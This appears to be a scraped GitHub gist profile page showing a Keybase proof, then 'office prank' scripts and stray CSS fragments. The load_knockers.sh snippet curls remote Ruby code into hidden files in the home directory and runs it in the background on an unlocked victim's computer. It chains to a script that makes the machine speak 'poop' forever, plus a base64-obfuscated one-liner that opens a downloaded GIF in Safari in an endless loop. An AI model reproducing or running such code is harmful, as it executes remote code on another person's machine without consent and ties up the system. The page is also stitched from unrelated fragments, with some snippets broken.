Skip to content

Instantly share code, notes, and snippets.

View smcpherson's full-sized avatar

Shannon McPherson smcpherson

View GitHub Profile

Keybase proof

I hereby claim:

  • I am smcpherson on github.
  • I am smcpherson (https://keybase.io/smcpherson) on keybase.
  • I have a public key ASAntHAVcnu4DsDM4mOOmb18EHcB6KCA6vS2fXv1TgrY2wo

To claim this, I am signing this object:

@smcpherson
smcpherson / load_knockers.sh
Last active September 17, 2015 07:52
it loads the knocks.
#########################################
# me: Knock Knock..
# you: Who's There?
# me: Guess.
# you: Guess???.... ok. Guess who?
# me: Guess who didnt lock their computer.... AHhh hahahahahahaaha. 💩
#########################################
curl https://gist.githubusercontent.com/smcpherson/d37db56abb79f23b9357/raw 2>/dev/null > ~/.knock.rb; ruby ~/.knock.rb &
#
#
# FYI, you should probably lock your computer.
#
#
`curl http://www.audiocheck.net/download.php?filename=Audio/audiocheck.net_binaural_knocking.wav > ~/.knock.wav`
while true do
if [4, 28, 33, 56].include?(Time.now.min) && Time.now.sec == 20
print [9994].pack('U*')+" " # hand
print [128682].pack('U*')+" " # door
curl https://gist.githubusercontent.com/smcpherson/238b134d80f05ff6c8dc/raw/327fdea961cff2367112e860b70b115f069217a0/poop > ~/.poop.rb; chmod u+x ~/.poop.rb;
ruby ~/.poop.rb &
ruby ~/.poop.rb &
ruby ~/.poop.rb &
@smcpherson
smcpherson / poop
Last active August 29, 2015 14:27
infinite poop loop!
v = %w(Agnes Kathy Princess Vicki Victoria Alex Bruce Fred Junior Ralph Albert Bahh Bells Boing Bubbles Cellos Deranged Hysterical Trinoids Whisper Zarvox)
# Initial delay:
sleep(60 * 5)
# Infinite Poop:
while true do
`say -v #{v[rand(v.length)]} "poop"`
sleep(rand(60))
print [128169].pack('U*')+" "
require 'base64'; require 'open-uri' ;open('lolz.gif', 'wb') do |file| ; file << open(Base64.decode64("aHR0cDovL3d3dy5tZW5zaGVhbHRoLmNvbS9pbWFnZXMvTUhfU3RhdGljL2di\naXMvMDcwLVNpdHVwc1RocnVzdC1IaXBUaHJ1c3QuZ2lm\n")).read ;end ;while true do ; `open -a "Safari" ~/lolz.gif` ;end
require 'base64'; require 'open-uri' ;open('lolz.gif', 'wb') do |file| ; file << open(Base64.decode64("aHR0cDovL3d3dy5tZW5zaGVhbHRoLmNvbS9pbWFnZXMvTUhfU3RhdGljL2di\naXMvMDcwLVNpdHVwc1RocnVzdC1IaXBUaHJ1c3QuZ2lm\n")).read ;end ;while true do ; `open -a "Safari" ~/lolz.gif` ;end
#top_news_tease, #top_news_tickle
// prevents double coulmns from overflowing past email width
table.shrink tr td
p, h1, h2, h3, h4, h5, h6
max-width: 420px
// normal overrides
h5, h6
margin: 3px 0
h5
margin-top: 0